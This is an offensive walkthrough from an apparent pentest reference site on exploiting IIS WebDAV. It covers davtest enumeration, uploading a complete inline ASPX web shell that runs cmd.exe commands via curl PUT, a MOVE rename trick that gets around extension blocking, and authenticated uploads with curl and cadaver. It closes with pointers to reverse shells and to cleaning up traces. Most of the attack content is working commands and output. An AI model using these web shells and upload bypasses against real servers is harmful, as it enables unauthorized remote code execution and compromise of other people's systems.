Skip to content
HackIndex.io

IIS WebDAV Exploitation

5 min read Created Mar 30, 2026 Last updated Mar 30, 2026

IIS WebDAV exploitation uses the PUT method to upload files. MOVE renames them to executable extensions when the server blocks .aspx uploads directly. IIS processes ASPX and ASP files server-side, and getting either extension into a web-accessible path enables code execution. Confirm WebDAV is active and unauthenticated through IIS enumeration before proceeding. The OPTIONS response lists allowed HTTP methods. PUT and MOVE appearing there signals you can proceed. If WebDAV requires authentication but you have credentials from another vector, skip to the authenticated upload section. The attack succeeds when the server accepts the file and executes it. PUT capability without EXECUTE means no code runs. The MOVE bypass may still work even when direct ASPX PUT is blocked.

WebDAV attack steps:

  • Verify PUT and MOVE methods via OPTIONS response

  • Test upload with davtest to map executable extensions

  • Upload payload as .txt then MOVE to .aspx if direct upload is blocked

IIS WebDAV exploitation: testing upload capability

davtest tries multiple file extensions and checks whether each is executed server-side. It creates a test directory on the server, uploads one file per extension, then requests each file and inspects the response. Use this to map which extensions upload and which actually run before delivering a real payload. The tool is available on Kali at /usr/bin/davtest.

┌──(kali㉿kali)-[~]
└─$ davtest -url http://$TARGET_IP/ 
Sending test files
PUT	aspx	SUCCEED: http://10.10.10.50/DavTestDir_abc/davtest.aspx
PUT	txt	SUCCEED: http://10.10.10.50/DavTestDir_abc/davtest.txt
Checking for test file execution
EXECUTE	aspx	SUCCEED: http://10.10.10.50/DavTestDir_abc/davtest.aspx
Explain command
-url Specifies the target WebDAV URL to test.
http://$TARGET_IP/ Target host IP placeholder used as the WebDAV endpoint.

The output shows two separate checks. PUT tells you whether the server accepts the file at all. EXECUTE tells you whether IIS runs it through the ASP.NET handler. EXECUTE success on aspx means you can upload a shell directly and skip the MOVE bypass. If aspx PUT fails but txt succeeds, the MOVE bypass is your next step. A FAIL on all extensions means WebDAV blocks uploads entirely or the target directory has no write permission. In that case, check whether the restriction applies only to the root path and try a subdirectory instead.

Direct ASPX Upload via PUT

When davtest confirms both PUT and EXECUTE for aspx, upload a minimal inline web shell using curl. The shell reads the cmd parameter and passes it to cmd.exe, returning output in the response body. A 201 Created response confirms the file was written to disk. Query the shell immediately to verify execution before doing anything else. The iis apppool\defaultapppool identity is low privilege but is a common starting point for token impersonation attacks.

┌──(kali㉿kali)-[~]
└─$ curl -sk -X PUT http://$TARGET_IP/shell.aspx -d '<%@ Page Language="C#" %><% Response.Write(System.Diagnostics.Process.Start(new System.Diagnostics.ProcessStartInfo("cmd.exe","/c "+Request["cmd"]){UseShellExecute=false,RedirectStandardOutput=true}).StandardOutput.ReadToEnd()); %>' -i | grep HTTP 
HTTP/1.1 201 Created
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP/shell.aspx?cmd=whoami" 
iis apppool\defaultapppool

MOVE Bypass: Upload as .txt then Rename to .aspx

When PUT blocks .aspx but allows .txt, upload as .txt and rename using MOVE. The server validates the extension at upload time but not at rename time. That gap is what makes this technique work. Upload the full ASPX payload into the .txt file, then send a MOVE request with a Destination header pointing to the .aspx path. IIS renames the file on disk and the ASP.NET handler picks it up on the next request. Verify execution with a whoami query after the rename completes.

┌──(kali㉿kali)-[~]
└─$ curl -sk -X PUT http://$TARGET_IP/shell.txt -d '<%@ Page Language="C#" %><% Response.Write(System.Diagnostics.Process.Start(new System.Diagnostics.ProcessStartInfo("cmd.exe","/c "+Request["cmd"]){UseShellExecute=false,RedirectStandardOutput=true}).StandardOutput.ReadToEnd()); %>' -i | grep HTTP 
HTTP/1.1 201 Created
┌──(kali㉿kali)-[~]
└─$ curl -sk -X MOVE http://$TARGET_IP/shell.txt -H "Destination: http://$TARGET_IP/shell.aspx" -i | grep HTTP 
HTTP/1.1 201 Created
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP/shell.aspx?cmd=whoami" 
iis apppool\defaultapppool

Upload with Credentials

A PUT request without credentials returns 401 when WebDAV requires authentication. The WWW-Authenticate header shows the supported scheme: Basic or NTLM. Supply credentials found through config file disclosure, SMB shares, or brute-force results. Add --ntlm to the curl command if the server challenges with NTLM instead of Basic. cadaver handles both schemes automatically and prompts on connect. Use cadaver when you need an interactive session to browse directories, delete files, or upload multiple files at once. Prefer curl for single file uploads in scripts or one-liners. A 403 response instead of 401 means the account authenticated but lacks write permission on that path.

┌──(kali㉿kali)-[~]
└─$ curl -sk -X PUT http://$TARGET_IP/shell.aspx -u "$USER:$PASSWORD" -d '@shell.aspx' -i | grep HTTP
┌──(kali㉿kali)-[~]
└─$ cadaver http://$TARGET_IP/
┌──(kali㉿kali)-[~]
└─$ dav:/> put shell.aspx 
Uploading shell.aspx to '/shell.aspx': succeeded.
Explain command
http://$TARGET_IP/ Target WebDAV server URL with variable placeholder for the IP address.
put shell.aspx WebDAV PUT command to upload shell.aspx file to the remote server.

After confirming web shell execution, move to ASPX web shell upload for reverse shell delivery and post-exploitation steps. An inline web shell confirms RCE but is fragile for sustained access. Use it to run a download cradle or write a msfvenom-generated ASPX reverse shell to disk. Remove the inline shell after switching to the staged payload. Clean up the DavTestDir directory as well: it stays on disk after davtest runs and will appear in directory listings.

References